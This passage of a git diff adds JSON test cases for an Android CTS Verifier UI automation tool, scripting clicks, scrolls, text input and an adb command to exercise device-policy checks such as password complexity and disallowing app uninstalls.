Button\",\"actionId\":\"0551a398-f877-4cdf-a8e2-14f6dc45385c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"be60afb3-34f2-4750-b058-6c7208b38b9f\",\"774601e9-9efc-4653-bc75-9ae6345afc25\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"b7bf508a-5f4e-406f-b51c-093e00d487a6\",\"82d0c265-8243-4109-90e3-e6cd7940fccc\",\"9bb1e820-1185-49a8-8b5f-0fb6a2567a68\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"8b89daab-8bd9-4dc6-b416-3c3edb2d47e6\",\"a18d792e-64d9-4ef1-9e05-12e7a5cea577\",\"a035ab93-8613-4ff4-b9b2-d1d4df91ed0b\",\"3108cfb8-b7ad-440c-9ef5-5cdd8dc72064\",\"748699ae-b36c-491f-949d-238c82971cc3\",\"0551a398-f877-4cdf-a8e2-14f6dc45385c\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-09-Default apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.181000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/97af8f29-fc99-451c-a57b-81f59621b304 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/97af8f29-fc99-451c-a57b-81f59621b304
new file mode 100644
index 0000000..0976b03
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/97af8f29-fc99-451c-a57b-81f59621b304
@@ -0,0 +1 @@
+{"uuid":"97af8f29-fc99-451c-a57b-81f59621b304","details":"{\"type\":\"CompoundAction\",\"name\":\"15-20 Disallow config screen timeout\",\"actionId\":\"97af8f29-fc99-451c-a57b-81f59621b304\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"ddbc4d31-a035-4eec-814a-def0efb2bfa5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-20 Disallow config screen timeout","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.149000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/992e890c-3aa6-43e1-9940-2a9f042811d6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/992e890c-3aa6-43e1-9940-2a9f042811d6
new file mode 100644
index 0000000..e6d46fd
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/992e890c-3aa6-43e1-9940-2a9f042811d6
@@ -0,0 +1 @@
+{"uuid":"992e890c-3aa6-43e1-9940-2a9f042811d6","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Set New Password Complexity Test\",\"actionId\":\"992e890c-3aa6-43e1-9940-2a9f042811d6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set New Password Complexity Test\",\"actionId\":\"22752d5b-b559-47cb-9990-ca30abe64cd1\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set New Password Complexity Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"39efbd7b-1857-475b-90e8-d7a6b4d14f89\",\"displayText\":\"Set New Password Complexity Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set New Password Complexity Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":443.3333333333333,\"x2\":351.3333333333333,\"y2\":485.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":122.0,\"y\":468.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":58.0,\"y\":-4.166666666666686,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"39efbd7b-1857-475b-90e8-d7a6b4d14f89\",\"firstText\":\"Set New Password Complexity Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set New Password Complexity Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":460.0,\"x2\":234.0,\"y2\":477.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set New Password Complexity Test\",\"actionId\":\"e37b19b5-9283-460b-9b22-7c7a71bc098f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set New Password Complexity Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/set_complexity_high_btn\",\"actionId\":\"ebfcc6f5-ad0a-4b84-9872-d044962310b8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_complexity_high_btn\"},{\"type\":\"InputAction\",\"name\":\"INPUT number \\\"11111111\\\"\",\"actionId\":\"bd803b0a-e2a5-4062-9df8-c359782d6b00\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"11111111\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/set_complexity_medium_btn\",\"actionId\":\"d31797fa-1f42-47f0-a26f-9996966fc861\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_complexity_medium_btn\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/set_complexity_low_btn\",\"actionId\":\"2fc9c1d3-fd70-4d12-b578-38055ab535fc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_complexity_low_btn\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/set_complexity_none_btn\",\"actionId\":\"a1f5a109-ba3d-439a-bd05-d3cafd513dcf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_complexity_none_btn\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, None\",\"actionId\":\"b835601a-7cb9-4405-93ef-71854d1dfe0f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"None\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, yes, remove button\",\"actionId\":\"b4ee13f7-566d-4a26-b351-92da70f324c4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"22752d5b-b559-47cb-9990-ca30abe64cd1\",\"e37b19b5-9283-460b-9b22-7c7a71bc098f\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"ebfcc6f5-ad0a-4b84-9872-d044962310b8\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"0e190c32-3e45-4bd4-8d81-8eab2da1758e\",\"bd803b0a-e2a5-4062-9df8-c359782d6b00\",\"91970b4b-d060-46b2-bbd3-d8042def443a\",\"2b20f950-6cf8-4040-93c8-a51819425441\",\"c3259a91-454a-42a5-b169-2d282d70f076\",\"675d3384-df03-4693-9846-646f622b5ce0\",\"7966cf53-7a34-44cc-9193-2c7dd347fe81\",\"d31797fa-1f42-47f0-a26f-9996966fc861\",\"ffe766f2-11f5-449d-9b89-e5ff06f5a835\",\"8539b68d-cf4f-4158-aeb6-2867807e7574\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"0e190c32-3e45-4bd4-8d81-8eab2da1758e\",\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\",\"2b20f950-6cf8-4040-93c8-a51819425441\",\"91970b4b-d060-46b2-bbd3-d8042def443a\",\"c3259a91-454a-42a5-b169-2d282d70f076\",\"2c2679b8-694c-4f76-9e68-e769699ab06a\",\"f9ed0da0-0e19-4117-8b66-467e80d9285c\",\"2fc9c1d3-fd70-4d12-b578-38055ab535fc\",\"67230d49-da52-4a23-a712-504be0de8619\",\"658953ad-c875-417b-87a1-5c75ca2fff86\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"796b7e21-e7e7-4631-8bc3-72894b072e96\",\"0bb19e90-9994-4d49-9188-fe2405a8dc37\",\"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a\",\"a1f5a109-ba3d-439a-bd05-d3cafd513dcf\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"bc9471bc-a314-40a4-952b-24a9d2db4974\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"b835601a-7cb9-4405-93ef-71854d1dfe0f\",\"b4ee13f7-566d-4a26-b351-92da70f324c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Set New Password Complexity Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.260000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9a43346d-fd4d-4892-8938-bb911c5f1fff b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9a43346d-fd4d-4892-8938-bb911c5f1fff
new file mode 100644
index 0000000..571d642
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9a43346d-fd4d-4892-8938-bb911c5f1fff
@@ -0,0 +1 @@
+{"uuid":"9a43346d-fd4d-4892-8938-bb911c5f1fff","details":"{\"type\":\"CompoundAction\",\"name\":\"New_15_Open app cross profiles from the work side\",\"actionId\":\"9a43346d-fd4d-4892-8938-bb911c5f1fff\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Open app cross profiles from the work side\",\"actionId\":\"f3272c50-2f14-4311-ad4a-40dff01a5691\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Open app cross profiles from the work side\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b11902b7-0e29-4bd8-9037-f96a1b113632\",\"displayText\":\"Open app cross profiles from the personal side\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Open app cross profiles from the personal side\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":469.0,\"x2\":360.0,\"y2\":513.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":167.0,\"y\":493.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":13.0,\"y\":-2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b11902b7-0e29-4bd8-9037-f96a1b113632\",\"firstText\":\"Open app cross profiles from the personal side\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Open app cross profiles from the work side\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":481.0,\"x2\":329.0,\"y2\":506.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Open app cross profiles from the work side\",\"actionId\":\"1f52c8bd-c0c9-49ac-b230-4049746b2a05\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Open app cross profiles from the work side\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"9b33ec2c-9960-4b45-a12a-8b4a5ad0c182\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"08a9f591-a700-42fe-8926-f3e7ceed75d3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"ConditionValidationAction\",\"name\":\"You selected the ctsverifier option\",\"actionId\":\"f3a2a9a6-8600-4cfb-9ab9-94492d626560\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"You selected the ctsverifier option\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button_finish\",\"actionId\":\"c3e2dd64-e8a4-4a32-aee9-6015ba2b8e2c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/button_finish\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Personal\",\"actionId\":\"898fcff4-c182-40db-a667-54e7167b19f1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Personal\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"f3a6e155-5e47-4887-991b-863e87ea2838\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"ConditionValidationAction\",\"name\":\"You selected the personal option.\",\"actionId\":\"612a9e09-a6e5-4fb9-ac41-b15ff189dff4\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"You selected the personal option.\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button_finish\",\"actionId\":\"3e52e7cf-7d71-4cd6-9782-978e70c859bd\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/button_finish\"}],\"childrenIdList\":[\"ddb13fe9-0508-4af0-b71e-ef96fc1f518a\",\"f3272c50-2f14-4311-ad4a-40dff01a5691\",\"1f52c8bd-c0c9-49ac-b230-4049746b2a05\",\"dd4aaec7-a59b-4646-8cc4-039a19853f62\",\"9b33ec2c-9960-4b45-a12a-8b4a5ad0c182\",\"08a9f591-a700-42fe-8926-f3e7ceed75d3\",\"f3a2a9a6-8600-4cfb-9ab9-94492d626560\",\"c3e2dd64-e8a4-4a32-aee9-6015ba2b8e2c\",\"dd4aaec7-a59b-4646-8cc4-039a19853f62\",\"898fcff4-c182-40db-a667-54e7167b19f1\",\"f3a6e155-5e47-4887-991b-863e87ea2838\",\"612a9e09-a6e5-4fb9-ac41-b15ff189dff4\",\"3e52e7cf-7d71-4cd6-9782-978e70c859bd\",\"18b49457-9342-4842-aee7-3a76bd7dbedc\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"New_15_Open app cross profiles from the work side","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.317000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9b9343fa-a795-4169-883b-32dca700c4b6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9b9343fa-a795-4169-883b-32dca700c4b6
new file mode 100644
index 0000000..51358d0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9b9343fa-a795-4169-883b-32dca700c4b6
@@ -0,0 +1 @@
+{"uuid":"9b9343fa-a795-4169-883b-32dca700c4b6","details":"{\"type\":\"CompoundAction\",\"name\":\"Tap center of screen\",\"actionId\":\"9b9343fa-a795-4169-883b-32dca700c4b6\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Tap center of screen\",\"actionId\":\"c2e6ab14-ab06-4d4b-91ac-f51063f01d24\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\n\\ncenter_1 = d.info()['dimension_x']/2\\ncenter_2 = d.info()['dimension_y']/2\\nd.click(center_1,center_2)\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"c2e6ab14-ab06-4d4b-91ac-f51063f01d24\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Tap center of screen","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.064000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9be89845-047e-4ef4-98dc-caa8cd186c76 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9be89845-047e-4ef4-98dc-caa8cd186c76
new file mode 100644
index 0000000..a2ab6f3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9be89845-047e-4ef4-98dc-caa8cd186c76
@@ -0,0 +1 @@
+{"uuid":"9be89845-047e-4ef4-98dc-caa8cd186c76","details":"{\"type\":\"CompoundAction\",\"name\":\"Open Settings\",\"actionId\":\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Open Settings\",\"actionId\":\"bdf5ef81-0243-4873-8895-cbd992d6fc4b\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell am start -n com.android.settings/.Settings\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"700c10f3-2945-460b-bc5a-dc5a5fdc0f96\",\"bdf5ef81-0243-4873-8895-cbd992d6fc4b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open Settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.998000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9d556fec-d14c-44d9-870f-0dbfc41ffb86 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9d556fec-d14c-44d9-870f-0dbfc41ffb86
new file mode 100644
index 0000000..fd786df
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/9d556fec-d14c-44d9-870f-0dbfc41ffb86
@@ -0,0 +1 @@
+{"uuid":"9d556fec-d14c-44d9-870f-0dbfc41ffb86","details":"{\"type\":\"CompoundAction\",\"name\":\"15-16-Disallow uninstall apps\",\"actionId\":\"9d556fec-d14c-44d9-870f-0dbfc41ffb86\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow uninstall apps\",\"actionId\":\"cce7c724-2cf5-4776-9bf3-86c491dcd796\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow uninstall apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"34e60958-80e6-4bad-a45f-5dca6387be17\",\"displayText\":\"Disallow uninstall apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow uninstall apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":488.0,\"x2\":360.0,\"y2\":532.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":81.0,\"y\":512.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":99.0,\"y\":-2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"34e60958-80e6-4bad-a45f-5dca6387be17\",\"firstText\":\"Disallow uninstall apps\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow uninstall apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":498.0,\"x2\":159.0,\"y2\":526.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow uninstall apps\",\"actionId\":\"cca1ba48-a894-47b5-afa6-21d2ef28bc8a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow uninstall apps\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to fine CtsPermissionApp\",\"actionId\":\"b1ac511d-9b7b-4a48-b600-5fe64dfcc3a4\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CtsPermissionApp\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4aedd429-23ff-4399-bdc4-ec946dfcefaf\",\"displayText\":\"CtsPermissionApp\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2760e551-5653-4bb3-8d8f-79e42d2c8caf\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ceede705-0d2b-4b3f-a5dd-8ed552880815\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":510.6666666666667,\"x2\":44.0,\"y2\":540.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":507.0,\"x2\":66.0,\"y2\":543.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"43edbd1e-6ec0-416b-a3af-08b14dceaffc\",\"displayText\":\"CtsPermissionApp\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f7f9cc52-8027-4643-b41b-8c37b0171ca3\",\"displayText\":\"CtsPermissionApp\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"CtsPermissionApp\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":506.6666666666667,\"x2\":188.33333333333334,\"y2\":526.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.8333333333333286,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"CtsPermissionApp\"},{\"uuid\":\"4f97cc1f-4832-4645-85f4-32af1a2474d8\",\"displayText\":\"92.67 kB\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"92.67 